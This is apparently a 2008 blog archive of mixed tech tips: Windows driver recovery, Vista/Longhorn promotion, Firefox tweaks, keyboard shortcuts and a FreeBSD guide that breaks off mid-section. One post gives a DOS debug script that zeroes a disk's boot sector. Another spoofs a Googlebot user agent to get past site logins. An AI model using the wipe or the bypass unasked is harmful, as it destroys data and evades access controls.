The Last Known Good Configuration option was a good idea, but it almost never works. I can only think of one instance in the last ten years in which the Last Known Good Configuration option has worked for me in a real life situation. There are a couple of reasons why this option doesn’t work so well.

For starters, the Last Known Good Configuration option only applies if the update that you performed requires a reboot. In this case, you would reboot the system after the update, the server crashes, so you reboot again and select the Last Known Good Configuration option. Today though, the majority of device driver updates don’t require a reboot, so you never even get a chance to use the Last Known Good Configuration option if the driver update goes belly up.

Another reason why the Last Known Good Configuration option tends to be ineffective is because the option’s job is to help a system to boot. Therefore, if you find yourself in a situation in which a problem does not surface until after you log into Windows, then the Last Known Good Configuration option is useless because Windows assumes that you are running a good configuration. An example of a situation in which a problem doesn’t surface until after login is an updated video driver. Windows uses the default resolution until a user logs on. At that time, Windows uses the video driver to set the video to the specified resolution. This is usually where the problems occur if a bad video driver is being used.

Of course Microsoft has a solution to this little dilemma too. The other recovery option that is available in Windows NT 4.0 and that is still available today is VGA mode. The idea behind VGA mode is that video problems present a bit of a catch-22. The video problems prevent you from being able to log all the way in, but you can’t fix the problem because you can’t log all the way in. VGA mode gets around this problem by forcing the video card to stay in VGA resolution. Since all modern video cards support VGA, Windows is able to load and you are able to correct the buggy driver.

In Windows NT 4.0, I have only been able to get past a driver related blue screen of death using the Last Known Good Configuration or VGA mode about half of the time. The other times, I have had to use a product called ERD Commander from Winternals (http://www.winternals.com/Products/ERDCommander/). ERD Commander can be used for a lot of different tasks, but in a situation like this you can use it to reconfigure or disable a device driver from outside of the operating system. Windows doesn’t even have to be functioning because ERD Commander boots from its own self contained mini operating system. In case you are wondering, this utility is also useful for making repairs to newer operating systems as well.

I could probably write an entire article on Windows NT related driver repair techniques because it was so difficult to get past some driver related problems in Windows NT. I would rather focus on Windows Server 2003 though. I only mentioned these techniques because they can be used on both Windows NT and Windows Server 2003, and because there are still some Windows NT Server deployments out there.

If a Windows Server 2003 machine crashes due to a driver problem, the repair technique is much easier than the techniques that I have already talked about. One of the greatest recovery tools available is Safe Mode. When you boot Windows into Safe Mode, it runs in VGA mode with a minimal set of drivers and services running. You can’t really do a lot with Windows when it’s running in Safe Mode, but that really isn’t the point. The point is that Safe Mode allows you to boot Windows so that you can fix the problem.

OK, so Safe Mode allows you to boot Windows so that you can fix the problem, but how do you actually go about fixing the problem once you log into Windows? Well, you have a couple of options. Both of these options are available through the Device Manager (another nice tool that wasn’t available in Windows NT). You can access the Device Manager by selecting the System option in the Control Panel. When the System Properties sheet appears, go to the Hardware tab and click the Device Manager button. You will now see a list of the various devices in your system. Right click on the device that is malfunctioning and select the Properties command from the resulting shortcut menu. When you do, you will see the device’s properties sheet. Now, select the Driver tab, shown in Figure A.

Figure A: The Driver tab of a device’s properties sheet in the Device Manager allows you to correct device driver problems

As you can see in the figure, you have some options on this screen. If you know that the driver is incorrect or that you have a bad version and you have a replacement available, then you can use the Update Driver button to load the replacement driver, or you can uninstall the existing driver and then load the replacement. If on the other hand the current driver version is causing the problem, but the previous version worked fine, you can click the Roll Back Driver button to revert to the previous version.

Conclusion

In this article, I have talked about a number of different recovery options that can be used to recover Windows from a device driver failure. Most of these techniques involve booting Windows into a special mode (Safe Mode, VGA Mode, Last Known Good Configuration). You can access any of these modes by pressing the F8 key during the earliest phase of the Windows boot process. Doing so will cause Windows to display a boot menu that allows you to select these various options.

How Vista will interact with Longhorn Server

2008-08-17T13:53:00.000-07:00

Now that Windows Vista is finished and is available, you have probably had a chance to experience some of the many improvements that it offers over Windows XP. What you might not realize is that the only way to take full advantage of all of Vista’s new features is to use Vista in conjunction with Longhorn Server. In this article, I will explain why this is the case, and will talk about the advantages of using Longhorn Server in environments where Vista has been deployed.

Before I Begin

Before I get started, I just want to tell you that I was initially hesitant to write this article, because I was afraid that it would come across more like a Microsoft commercial than something of legitimate technical value. I ultimately decided to go ahead and write it because there are just too many benefits to ignore when you deploy Vista and Longhorn Server together.

Similar Architecture

With all of the marketing hype aside, probably the best reason for running Windows Vista and Longhorn Server together is that they are essentially the same operating system. To understand what I am talking about, you need to look at Microsoft’s history of operating systems. When Microsoft released Windows NT Server 4.0, they also released Windows NT Workstation at the same time. The only difference between the two operating systems was a registry setting. By altering one registry setting, you could turn Windows NT Workstation into Windows NT Server, and vice versa.

Fast forward a few years, and Microsoft did something similar with Windows 2000. Windows 2000 Server and Windows 2000 Professional were developed simultaneously and contained nearly identical kernels.

Microsoft’s next server release was Windows Server 2003. Windows Server 2003 was developed separately from Windows XP (to the best of my knowledge), and there are some significant differences between the two operating systems.

When Microsoft decided to develop Windows Vista, they went back to their roots. Windows Vista and Longhorn Server were developed simultaneously, using the same operating system kernel. In fact someone from Microsoft explained to me that differences in the two operating systems (aside from applets, consoles, etc.) were only introduced into the code after Windows Vista released the Beta 2 stage of development. This ensured that the underlying code base was stable before server specific code was introduced.

Being that Longhorn Server and Windows Vista share a common kernel and user interface (although Aero is disabled by default in Longhorn Server), it only makes sense that the two operating systems would work well together. However, a more compelling reason for deploying Longhorn Server and Windows Vista together is that doing so can reduce your support costs.

Think about it for a minute. If both operating systems share a common core, then you don’t really have to worry about training your support staff on two separate operating systems. Yes, there are definitely server specific components that your support staff will need to learn about, but eighty to ninety percent of code is going to be the same for both operating systems. That means that if your support staff knows how to fix a problem in Vista then there is a good chance that they will also know how to fix the problem if it should occur on a Longhorn server.

The code for the two operating systems is so similar that they share a single model for updates and service packs. I have heard rumors that when the first service pack for Windows Vista is released, the service pack will also be intended for use on machines running Longhorn Server. If that rumor is true, then it means that maintenance could be greatly simplified.

Security

Microsoft has stated from the very beginning that security was a top priority in the development of Longhorn Server and Windows Vista. The vast majority of the security features found in Windows Vista will work whether Vista is connected to a server that’s running Windows Server 2003 or Longhorn. There are however some security features that will only work when Vista and Longhorn are used together.

Probably the best example of this is Longhorn Server’s Network Access Protection feature. Network Access Protection is designed to protect your network against employees who connect remotely. As I’m sure that you know, the problem with allowing employees to connect remotely is that if they establish a connection from a home computer or from a public kiosk, then you have no control over that machine. It could have no security enabled, or could even be infested with viruses. Network Access Protection (NAP) allows you to create a policy that defines what it means for a computer to be in compliance with your corporate security policy. By doing so, you can allow compliant computers to connect to your network, while either denying access to, or forcing an update of non compliant computers.

Another way that security can benefit from deploying Longhorn Server and Windows Vista together is because both operating systems are designed to use the IPv6 protocol. In case you aren’t familiar with IPv6, it is the next generation version of the IP protocol that is so widely used today. Both Windows Server 2003 and Windows XP can be configured to use the IPv6 protocol, but IPv6 is enabled by default in Longhorn Server and Vista.

From a security standpoint, IPv6 is the protocol of choice because it is much more resistant to the address and port scanning attacks that have plagued IPv4 for so long. Furthermore, all IPv6 implementations support IPSec encryption.

Performance

You might be wondering what the big deal is about IPv6 being enabled by default in Longhorn and Vista when Windows XP and Windows Server 2003 fully support IPv6. IPv6 is implemented differently in Longhorn and Vista than it is in Windows XP or in Windows Server 2003. The Windows Server 2003 / Windows XP implementation required parallel TCP/IP stacks for IPv4 and IPv6. Longhorn Server and Windows Vista use a similar model, but the difference is that the two stacks are designed to share a common transport layer and framing layer. This means that IPv6 performance is dramatically better in Longhorn and Vista than it was in previous versions of Windows.

Longhorn Server and Windows Vista not only have IPv6 enabled by default, they actually use IPv6 as the protocol of choice. In fact, there are some operating system features that simply won’t work without IPv6. One example of this include Vista’s new peer networking feature.

IPv6 aside, there are a couple of other ways that network performance is enhanced when Longhorn Server and Windows Vista are used together. One way has to do with network printing. Typically, when a Windows Server hosts a network printer, clients send print jobs to the server, which in turn renders the job and sends it to the printer. In a Longhorn / Vista environment, it is possible for a client to render a print job locally before sending it to the server. This reduces the server’s workload, thus making it more efficient.

Another performance gain involves accessing network resources. Both Longhorn Server and Windows Vista are designed to index the contents of the machine’s hard drive. This means that document searches are now a lot faster, whether the search is being performed locally or across the network. Additionally, Vista is designed to cache server resources so that even if a server drops offline, users can continue to work and are often oblivious to the server problems. When the server comes back online, changes made to cached content are automatically applied to the data that is saved on the server.

Conclusion

As you can see, there are numerous advantages to deploying Longhorn Server and Windows Vista together. If you would like to read more about the interaction between these two operating systems, you can do so at: http://www.microsoft.com/windowsserver/longhorn/evaluation/overview.mspx

Find Stuff

2008-08-17T00:48:00.000-07:00

Has this ever happened to you?

You're looking for something on a long web page with Internet Explorer or Netscape. You think it's there, but you're faced with seemingly insurmountable number of paragraphs, sentences, and words to hunt though.

Well, next time this happens to you, hit the Edit menu, Find (or CTRL-F for you shortcut lovers). You'll get a handy little "find" box that lets you type in a specific word. After you type in your search term, hit the Find Next button and Explorer will look for that word on the page. If it's successful, you'll be zapped right to it.

As if that wasn't cool enough, you can also use a variation of this tip in Windows Explorer. Next time you're looking for a file in Explorer, hit CRTL-F and you'll get a Find or Search box (depending on what flavor of Windows you're using).

If you are already in the area of your hard drive where you think the file is (say, My Documents), hit CTRL-F and your search will be set to look in the My Documents sfolder.

Firefox Speed Tweaks

2008-08-17T00:47:00.001-07:00

Yes, firefox is already pretty damn fast but did you know that you can tweak it and improve the speed even more?

That's the beauty of this program being open source.
Here's what you do:
In the URL bar, type “about:config” and press enter. This will bring up the configuration “menu” where you can change the parameters of Firefox.

Note that these are what I’ve found to REALLY speed up my Firefox significantly - and these settings seem to be common among everybody else as well. But these settings are optimized for broadband connections - I mean with as much concurrent requests we’re going to open up with pipelining… lol… you’d better have a big connection.

Double Click on the following settins and put in the numbers below - for the true / false booleans - they’ll change when you double click.

Code:
browser.tabs.showSingleWindowModePrefs – true
network.http.max-connections – 48
network.http.max-connections-per-server – 16
network.http.max-persistent-connections-per-proxy – 8
network.http.max-persistent-connections-per-server – 4
network.http.pipelining – true
network.http.pipelining.maxrequests – 100
network.http.proxy.pipelining – true
network.http.request.timeout – 300

One more thing… Right-click somewhere on that screen and add a NEW -> Integer. Name it “nglayout.initialpaint.delay” and set its value to “0”. This value is the amount of time the browser waits before it acts on information it receives. Since you’re broadband - it shouldn’t have to wait.

Now you should notice you’re loading pages MUCH faster now!

Finding Missing Files From A Release

2008-08-17T00:47:00.000-07:00

I hope this hasn't been submitted before, but i did a search and didn't find anything so here goes.
Have you ever downloaded a game/app/movie/... and when it was finished, you find out that are some missing files or corrupt ones?
Well here's a way to find those files:
--> www.incomplete.me.uk

This is a service that works through irc (so mirc (or another) must be installed to use it).
You go on the specific channel (manually or by clicking one of the direct links on the site) and then "ask" for the specific file.
When there's someone out there who has it, it will be send to you automatically
If not, the file request shall be put on a queu list untill someone that has it, has sent it to the person that requested it.
!!! Obey the rules though, if not you can be banned from the channel and in severe cases your provider can be banned so others won't be able to use this !!!

I hope this can help out some people here, who have experienced/will experience this

Free Access To Websites Without Registering

2008-08-17T00:46:00.002-07:00

Go to

-http://bugmenot.com/

and type the URL of the website you want to log into.
Examples:

-http://www.nytimes.com/, -http://www.winnetmag.com/
etcetera.

Another (and better) way is changing the user agent of your browser to:
Googlebot/2.1+

-http://www.googlebot.com/bot.html

This is very easy in Mozilla's Firefox. Download and install the User Agent Switcher from

-http://www.chrispederick.com/work/firefox/useragentswitcher/
and add the Googlebot user agent.

Have fun, Dead Dreamer!

-]Edit[- Now this kicks ass, was just browsing entire forum without even needing to login to view restricted areas, and it works on other sites
And no, you cant access the hidden forums either, already tried that

Formatting An Hdd, when fdisk won't

2008-08-17T00:46:00.001-07:00

This was originally posted by andro11meda in Hardware and Networking Support. It worked so well for me on a problem-computer that I was working on that I had to post it in tutorials. Thanks andro11meda!!

***
This is my favorite way to wipe it clean:

CAUTION: This debug script is for advanced users only. Its Purpose is to remove all formatting and partitioning information from your hard disk when FDISK is unable to do so. THIS WILL REMOVE ALL DATA AND PROGRAMS FORM THE DRIVE.

1. Create a MSDOS bood disk with Debug

2. At DOS command prompt type the following: Debug[Enter] (Where enter is to press the enter key once)

NOTE: Type the following bolded text only. You will recieve an error if you type anything other than the bold text. The non-bolded text represents what will appear on you screen once you press [Enter] after each command.

-F 200 L1000 0 [Enter]
-A CS:100 [Enter]
xxxx:0100 MOV AX,301 [Enter]
xxxx:0103 MOV BX,200 [Enter]
xxxx:0106 MOV CX,1 [Enter]
xxxx:0109 MOV DX,80 [Enter]

NOTE: ( --- "80" for hd0, "81" for hd1)

xxxx:010c INT 13 [Enter]
xxxx: 010e INT 20 [Enter]
xxxx: 0110 [Enter]

-G [Enter]
"Program terminated normally"

3. Turn off the computer. On the next startup the hard drive will need to be partitioned and formatted.
***

Flashget Broadband Tweak

2008-08-17T00:46:00.000-07:00

Just double-click on the FlashGetRegTweak.reg file to enter the tweak into the registry. This tweak will allow up to 100 simultaneous file downloads, each split into a max of 30 parts. Previous defaults were 8 & 10 respectively.

Note:

1. Works for dialup but not really advantageous.
2. Restart your computer to feel the full advantage of this tweak.

Download:
here it is
just copy to notepad
rename to Iwillsinglehandedlykillallthebandwidthfromtheserversidownloadfrom.reg

REGEDIT4

[HKEY_CURRENT_USER\Software\JetCar\JetCar\General]
"Max Parallel Num"="100"
"MaxSimJobs"="100"

Free X-box Live

2008-08-17T00:45:00.001-07:00

Anyone here think about getting xbox live but not have enough money to pay for the starter kit...

WELL GUESS WHAT!!!!!!!!

You can now get it without paying a cent (that is if you have a free 2 month trial)

First go to http://www.xbconnect.com/downloads.php and download the current version of XBConnect...

Secondly you must get a Ethernet cable and connect your X-BOX to your router (if you have, you MUST have one BTW)

Thirdly install and open xbconnect. Create a new account .......

Fourthly go on www.xbox.com/live and sign in your .NET passport and create a profile for xbox live

Fifthly open your xbox with a xbox live supported game and follow the setup for xbox live ....

And YOUR DONE!!!!!

Free World Dialup

2008-08-17T00:45:00.000-07:00

Free World Dialup - http://www.freeworlddialup.com/
"Use FWD to make real, free phone calls using your favorite telephone, computer or PDA and any broadband connection. Call your neighbor or a relative, next door or in another country; all with the same ease, speed, and high quality." Thanks to Jeff Pulver and his crew!

Quick summary:

1 - First, got to http://www.freeworlddialup.com and sign up to get your FWD # and password.
2 - Download http://brands.xten.net/x-litefwd/download/X-LiteFWD_Install.exe FWD/X-Lite ("self-configures") program or go to http://www.myphonebooth.com/ to call any FWD # and U.S. toll free #s using Internet Explorer (Firefox not supported).

Quickstart Guide: http://www.freeworlddialup.com/support/quick_start_guide
FWD Xlite Configuration Guide: http://www.freeworlddialup.com/support/configuration_guide/configure_your_fwd_certified_phone/fwd_xlite/all
MS Windows Messenger Configuration Guide: http://pulver.com/fwd/fwd30news.html#messenger (FWD supports Windows Messenger 4.6/4.7 but not MSN Messenger 5.x.)

3 - To call a U.S. landline/cell #, dial *+arecode+7digit#. (This FWD feature is not listed on their website, but has been working for several months now.)

4 - To call a FWD # from a PSTN (your regular phone), click
http://www.dslreports.com/r0/download/476274~3ccc4c9edbe2a596714a4fd9da897204/fwdaccessnumbers.zip or after you've signed up go to FWD web page, click on "Features", "Access #s" for a list of FWD access numbers in your area. Available in several states in the U.S., UK, NL and DE at this time.

Packet8:
-- To call a P8 phone # from a FWD phone: Dial **898 + 1 + P8 number to be routed to P8 service.
-- To call a FWD # from a P8 phone:
*If the FWD # you are calling contains 5 digits, start to dial with the prefix 0351. For example: 035112345
*If the FWD # you are calling contains 6 digits, start to dial with the prefix 0451.

Call UK:
Get a UK telephone # that will call you on your FWD #. Register http://fwd.calluk.com.

FWD Features: Some features like Voice email needs to be activated at http://www.fwdnet.net

Internet Calling
Call Waiting
CallerID
Missed Call notification
Call Forwarding
Call Transfer
Three Way Calling
Voice email
SoftPhone, IP Phones & *Web-based
Aliases
Whitepages directory
ENUM Entry
eDial SOAP
Conferencing
Instant Messaging
Web Calling/FWD-Talk
Corporate Cisco Call Manager Connection
Calling to Toll Free Numbers in the UK, US, NL, JP and FR TellMe Service (411).
-- NL Dial *31(800)... to reach Netherlands toll free #s.
-- UK Dial *44(800)... or *44(808)... or *44 (500) to reach UK toll free #s.
-- US Dial *1(8xx) xxx xxxx to reach United States toll free #s.
-- JP Dial *81 0120... to reach Japan toll free #s.

Frequently used numbers
613 Echo test
55555 Volunteer Welcome Line
514 FWD Coffee House
612 Time
411 TellMe Information
611 Part Time Technical support
511 FWD Conference Bridge

At the moment, I think this is way better than Skype, Yahoo IM voice chat, etc...I've been using FWD for over a year with my cable broadband service and didn't have to set up any port forwarding on my broadband router. Obviously you'ld need a mic/speakers connected to your PC.

You can also use your regular telephone via an adapter http://voipstore.pulver.com/product_info.php?products_id=32 and IP phone http://voipstore.pulver.com/product_info.php?products_id=33. Adapters and IP phones from different vendors like Cisco are available.

* Broadbandreports.com VoIP forum (formerly known as DSLReports.com)
-- If you have any questions or just curious about VoIP, visit the VoIP forum http://www.dslreports.com/forum/voip at DSLReports.com.

General Keyboard Shortcuts, General Keyboard Shortcuts

2008-08-17T00:44:00.001-07:00

General Keyboard Shortcuts
CTRL+C (Copy)
CTRL+X (Cut)
CTRL+V (Paste)
CTRL+Z (Undo)
DELETE (Delete)
SHIFT+DELETE (Delete the selected item permanently without placing the item in the Recycle Bin)
CTRL while dragging an item (Copy the selected item)
CTRL+SHIFT while dragging an item (Create a shortcut to the selected item)
F2 key (Rename the selected item)
CTRL+RIGHT ARROW (Move the insertion point to the beginning of the next word)
CTRL+LEFT ARROW (Move the insertion point to the beginning of the previous word)
CTRL+DOWN ARROW (Move the insertion point to the beginning of the next paragraph)
CTRL+UP ARROW (Move the insertion point to the beginning of the previous paragraph)
CTRL+SHIFT with any of the arrow keys (Highlight a block of text)
SHIFT with any of the arrow keys (Select more than one item in a window or on the desktop, or select text in a document)
CTRL+A (Select all)
F3 key (Search for a file or a folder)
ALT+ENTER (View the properties for the selected item)
ALT+F4 (Close the active item, or quit the active program)
ALT+ENTER (Display the properties of the selected object)
ALT+SPACEBAR (Open the shortcut menu for the active window)
CTRL+F4 (Close the active document in programs that enable you to have multiple documents open simultaneously)
ALT+TAB (Switch between the open items)
ALT+ESC (Cycle through items in the order that they had been opened)
F6 key (Cycle through the screen elements in a window or on the desktop)
F4 key (Display the Address bar list in My Computer or Windows Explorer)
SHIFT+F10 (Display the shortcut menu for the selected item)
ALT+SPACEBAR (Display the System menu for the active window)
CTRL+ESC (Display the Start menu)
ALT+Underlined letter in a menu name (Display the corresponding menu)
Underlined letter in a command name on an open menu (Perform the corresponding command)
F10 key (Activate the menu bar in the active program)
RIGHT ARROW (Open the next menu to the right, or open a submenu)
LEFT ARROW (Open the next menu to the left, or close a submenu)
F5 key (Update the active window)
BACKSPACE (View the folder one level up in My Computer or Windows Explorer)
ESC (Cancel the current task)
SHIFT when you insert a CD-ROM into the CD-ROM drive (Prevent the CD-ROM from automatically playing)
Dialog Box Keyboard Shortcuts
CTRL+TAB (Move forward through the tabs)
CTRL+SHIFT+TAB (Move backward through the tabs)
TAB (Move forward through the options)
SHIFT+TAB (Move backward through the options)
ALT+Underlined letter (Perform the corresponding command or select the corresponding option)
ENTER (Perform the command for the active option or button)
SPACEBAR (Select or clear the check box if the active option is a check box)
Arrow keys (Select a button if the active option is a group of option buttons)
F1 key (Display Help)
F4 key (Display the items in the active list)
BACKSPACE (Open a folder one level up if a folder is selected in the Save As or Open dialog box)
Microsoft Natural Keyboard Shortcuts
Windows Logo (Display or hide the Start menu)
Windows Logo+BREAK (Display the System Properties dialog box)
Windows Logo+D (Display the desktop)
Windows Logo+M (Minimize all of the windows)
Windows Logo+SHIFT+M (Restore the minimized windows)
Windows Logo+E (Open My Computer)
Windows Logo+F (Search for a file or a folder)
CTRL+Windows Logo+F (Search for computers)
Windows Logo+F1 (Display Windows Help)
Windows Logo+ L (Lock the keyboard)
Windows Logo+R (Open the Run dialog box)
Windows Logo+U (Open Utility Manager)
Accessibility Keyboard Shortcuts
Right SHIFT for eight seconds (Switch FilterKeys either on or off)
Left ALT+left SHIFT+PRINT SCREEN (Switch High Contrast either on or off)
Left ALT+left SHIFT+NUM LOCK (Switch the MouseKeys either on or off)
SHIFT five times (Switch the StickyKeys either on or off)
NUM LOCK for five seconds (Switch the ToggleKeys either on or off)
Windows Logo +U (Open Utility Manager)
Windows Explorer Keyboard Shortcuts
END (Display the bottom of the active window)
HOME (Display the top of the active window)
NUM LOCK+Asterisk sign (*) (Display all of the subfolders that are under the selected folder)
NUM LOCK+Plus sign (+) (Display the contents of the selected folder)
NUM LOCK+Minus sign (-) (Collapse the selected folder)
LEFT ARROW (Collapse the current selection if it is expanded, or select the parent folder)
RIGHT ARROW (Display the current selection if it is collapsed, or select the first subfolder)
Shortcut Keys for Character Map
After you double-click a character on the grid of characters, you can move through the grid by using the keyboard shortcuts:
RIGHT ARROW (Move to the right or to the beginning of the next line)
LEFT ARROW (Move to the left or to the end of the previous line)
UP ARROW (Move up one row)
DOWN ARROW (Move down one row)
PAGE UP (Move up one screen at a time)
PAGE DOWN (Move down one screen at a time)
HOME (Move to the beginning of the line)
END (Move to the end of the line)
CTRL+HOME (Move to the first character)
CTRL+END (Move to the last character)
SPACEBAR (Switch between Enlarged and Normal mode when a character is selected)
Microsoft Management Console (MMC) Main Window Keyboard Shortcuts
CTRL+O (Open a saved console)
CTRL+N (Open a new console)
CTRL+S (Save the open console)
CTRL+M (Add or remove a console item)
CTRL+W (Open a new window)
F5 key (Update the content of all console windows)
ALT+SPACEBAR (Display the MMC window menu)
ALT+F4 (Close the console)
ALT+A (Display the Action menu)
ALT+V (Display the View menu)
ALT+F (Display the File menu)
ALT+O (Display the Favorites menu)
MMC Console Window Keyboard Shortcuts
CTRL+P (Print the current page or active pane)
ALT+Minus sign (-) (Display the window menu for the active console window)
SHIFT+F10 (Display the Action shortcut menu for the selected item)
F1 key (Open the Help topic, if any, for the selected item)
F5 key (Update the content of all console windows)
CTRL+F10 (Maximize the active console window)
CTRL+F5 (Restore the active console window)
ALT+ENTER (Display the Properties dialog box, if any, for the selected item)
F2 key (Rename the selected item)
CTRL+F4 (Close the active console window. When a console has only one console window, this shortcut closes the console)
Remote Desktop Connection Navigation
CTRL+ALT+END (Open the Microsoft Windows NT Security dialog box)
ALT+PAGE UP (Switch between programs from left to right)
ALT+PAGE DOWN (Switch between programs from right to left)
ALT+INSERT (Cycle through the programs in most recently used order)
ALT+HOME (Display the Start menu)
CTRL+ALT+BREAK (Switch the client computer between a window and a full screen)
ALT+DELETE (Display the Windows menu)
CTRL+ALT+Minus sign (-) (Place a snapshot of the active window in the client on the Terminal server clipboard and provide the same functionality as pressing PRINT SCREEN on a local computer.)
CTRL+ALT+Plus sign (+) (Place a snapshot of the entire client window area on the Terminal server clipboard and provide the same functionality as pressing ALT+PRINT SCREEN on a local computer.)
Microsoft Internet Explorer Navigation
CTRL+B (Open the Organize Favorites dialog box)
CTRL+E (Open the Search bar)
CTRL+F (Start the Find utility)
CTRL+H (Open the History bar)
CTRL+I (Open the Favorites bar)
CTRL+L (Open the Open dialog box)
CTRL+N (Start another instance of the browser with the same Web address)
CTRL+O (Open the Open dialog box, the same as CTRL+L)
CTRL+P (Open the Print dialog box)
CTRL+R (Update the current Web page)
CTRL+W (Close the current window)

Freebsd Install Guide

2008-08-17T00:44:00.000-07:00

A step-by-step guide to installing FreeBSD 5. It assumes moderate experience with linux and leaves you with a fully updated FreeBSD system.

FreeBSD Installation

A. 5.x vs 4.x
The first thing to understand about FreeBSD is that there are two lines of development. The -STABLE branch is marked with a 4.x version number and the most recent version is 4.10. It is well tested and very solid, but does not include the most recent technology. The -CURRENT branch, marked with a 5.x version, is the “unstable” branch. However, it is nicely stable at the moment and is coming along quite well. Most users should go with 5.x and these instructions are only valid for that tree.

NOTE: DragonFlyBSD ( www.dragonflybsd.org ) is a continuation of the 4.x line. It uses lock-less (no mutexes) SMP support and a Light Weight Kernel Threading system. It has a lot of promise and is developing at a breakneck pace, but it should still be thought of as “R/D.”

B. Getting Media
I am not going to say much about this. There are links to various ftp mirrors at www.freebsd.org and the directory structure is fairly self-explanatory. There are however several choices for ISO. You should choose the miniinst ISO. It is small and will include everything you need for the base system.

C. Starting Installation
After, the CD boots up you will enter the...ahh.....majestic sysinstall. You can safely ignore most of the options and just choose a standard installation. Most of the install process is pretty easy and anyone who has some experience with linux or unix will be able to handle it without much stress. However, creating partitions and dealing with drives will seem very odd to your standard linux user.

D. Hard Disc Management in FreeBSD
Ok, the first thing to get used to here is that IDE drives are not hda, hdb...etc. They are ad0, ad1 and so forth. SCSI discs are da0, da1...and so on. There is one other thing that is going to freak some people out. You create slices, not partitions, on the disc and then create partitions within those slices. For example, the first partition in the first slice on the first IDE disc would be ad0s1a. Just accept it.

E. Partitioning
Sysinstall will lead you through the partitioning and its fairly easy to understand. The first part will ask you to choose a disc or discs to partition and then will show you a "slice editor." This is where you will create your slice. I advise you to only make one. While multiple slices are easy to deal with, it just adds complication. If this is not your first installation of a BSD type OS, then you can ignore me and why are you reading this again?

After creating your slice, you will be prompted to choose the drive(s) to install an MBR on. The FreeBSD boot loader is nothing to write home about, but it tends towards working. After this step, you can create partitions. There is not much to say here. At the top of the screen it will show your slice(s) and when one of them is selected you can use the controls to create a partition on it. You will need at least a root and swap partition. On the non-swap partitions it is usually a good idea to enable soft-updates.

F. Distribution Sets
This is a simple section, select minimal.

G. Continue Installation
The rest of this is pretty simple. Make sure you install from the CD and not the Internet. The bulk of the install is now done. After it copies files to your disc, it will start the configuration process. This is all pretty self-evident, but there are a couple things you should know.

Network Configuration

Don't be scared by the names, in *BSD devices are named after their drivers. There is also a short description after the name, so you should be able to choose the right one. The rest of the network config is easy, just follow the prompts.

System Console Configuration

You can pretty much ignore this, you may want to look around for your own knowledge and of course you could pick a nice screen saver here, but other then that I would leave it alone for now.

Time Zone

All I have to say here is that if you live in the US, after you choose “America – North and South” hit the end key. The US is at the bottom of the list and hitting end is the quickest way there.

Linux

Say no, we will do this later and with an updated linux_base.

Mouse

OK, welcome to the wonderful and amazing world of moused. Answer the first question truthfully, and then you can tweak the settings in the “Please configure your mouse” dialog. Whatever you do, be sure to enable the daemon. Also, for most users that is all you will have to do. You can safely ignore the other options.

Package Installation

At this point, the installer will ask you to install binary packages. Say no. These binaries are out of date and not included on our CD.

Of users and roots

This isn't the most thrilling section, add a user when it asks you to and set a root password after that. The only thing I have to say about this process is when the new user dialog comes up leave the “Group:” box unchanged and add “wheel” to the Member groups. You also might want to set your shell to /bin/tcsh. As for setting the root password, if you can't handle that we have bigger problems.

Rebooting

Ok, next it will ask if you would like to visit the general config area. Select no and you will be brought back to the main menu. Exit the install, reboot without the CD in and enjoy the boot messages.

H. The Real Post-Install
At this point, I am going to assume that you are now looking at a login prompt and thinking “my my...FreeBSD boots quite quickly doesn't it.” Well, our task is not done yet...there is a reason we did a minimal install. We are going to do most of it ourselves. First, lets upgrade to -CURRENT. This isn't a practice I would usually recommend, but 5.x is close to being tagged stable and -CURRENT is rather solid at the moment. First, I need to explain how things are done in the BSD world.

Sup?

CVS up; you up; we all CVSUP. Cvsup is a very interesting program that I am not going to explain in detail here. All you really need to know is that it updates source trees. You see, that is the thing. You may be used to /usr/src not doing much. In BSD it has a job, it holds the source for the entire base system. However, we did a minimal install and no source is there. It wouldn't be up2date anyway. So, lets fix that. Login as root and type the following: pkg_add -r cvsup-without-gui

pkg_add is the binary installer for FreeBSD and the -r argument tells it to fetch binaries from the net. It will also fetch any deps that you might need. Switch to another console while this is happening and login as root. Do the following:

cd /etc

cp /usr/share/examples/etc/make.conf /etc/make.conf

cp /usr/share/examples/cvsup/standard-supfile /usr

cp /usr/share/examples/cvsup/ports-supfile /usr

chmod u+w /etc/make.conf /usr/standard-supfile /usr/ports-supfile

What was that? Well here is the rundown. Make.conf is the file that controls the building of programs from source on FreeBSD and the supfiles tell cvsup where to get the source for the base system and the ports system, also where to put said source. They come out of /usr/share/examples without the write bit set and that gets annoying. So we set that. Now switch back to the first console and type rehash. This tells tcsh to check its path for new programs. Now, edit the standard supfile that is in /usr. You can either use ee or vi. I like vi. Scroll down to the line that looks a bit odd. It will be something like:

*default host=CHANGE_THIS.FreeBSD.org

The “CHANGE_THIS” is where you put what cvsup server to use. Choose a number between 1 and 9, like 4, and put cvsup4 where CHANGE_THIS is. So it would end up being:

*default host=cvsup4.FreeBSD.org

Now exit your editor and run cvsup /usr/standard-supfile

If everything goes correctly, you will see a lot of text scrolling on the screen. If it says something about a bad connection, try another number.

Make.conf

Now 'tis the time for all good men (and women) to edit their make.conf . This is not difficult, in fact have a look around the file. It may be long, but it is pretty simple. Now, uncomment the CPU setting and the CFLAGS setting. Set the CPU to your CPU (there will be a list in the comments above the setting) and set the CFLAGS to -O2. (NOTE: If the base system fails to build, downgrade your CFLAGS back to -O).

Build Your World

When CVSUP finishes (it will be awhile...go get some coffee), cd to /usr/src and run make buildworld. That command will do exactly what it sounds like. It builds your world, or base system. While its doing that, lets get you a kernel. First, cd to /usr/src/sys/i386/conf then cp GENERIC to some file of your choosing. Any name you want. However, be aware that this is going to show up in a uname -a. Now, crack open your new file and take a look at what a FreeBSD kernel config is like. There are many things you can do here that will improve performance and subtract in size. However, lets keep it simple. Near the top of the file will be the name GENERIC. Change that to your new name. You can now look through the file and you will find several sections that are just for debugging. These will indeed add size and slow down the kernel a bit, but I would leave them for now. Go to the end of the file and make a new line. Add the following:

device pcm

This will add sound support to the kernel. Be aware that you don't need to do this, you can load binary modules at boot or after boot, but this way is easy and sound is used often. Save the file and exit. Go back to your buildworld console and when its done execute make buildkernel KERNCONF=YOUR_KERNEL_CONFIG_NAME

NOTE: NOT THE PATH OF THE KERNEL CONFIG..it knows to look in /usr/src/sys/i386/conf

Installing Your World

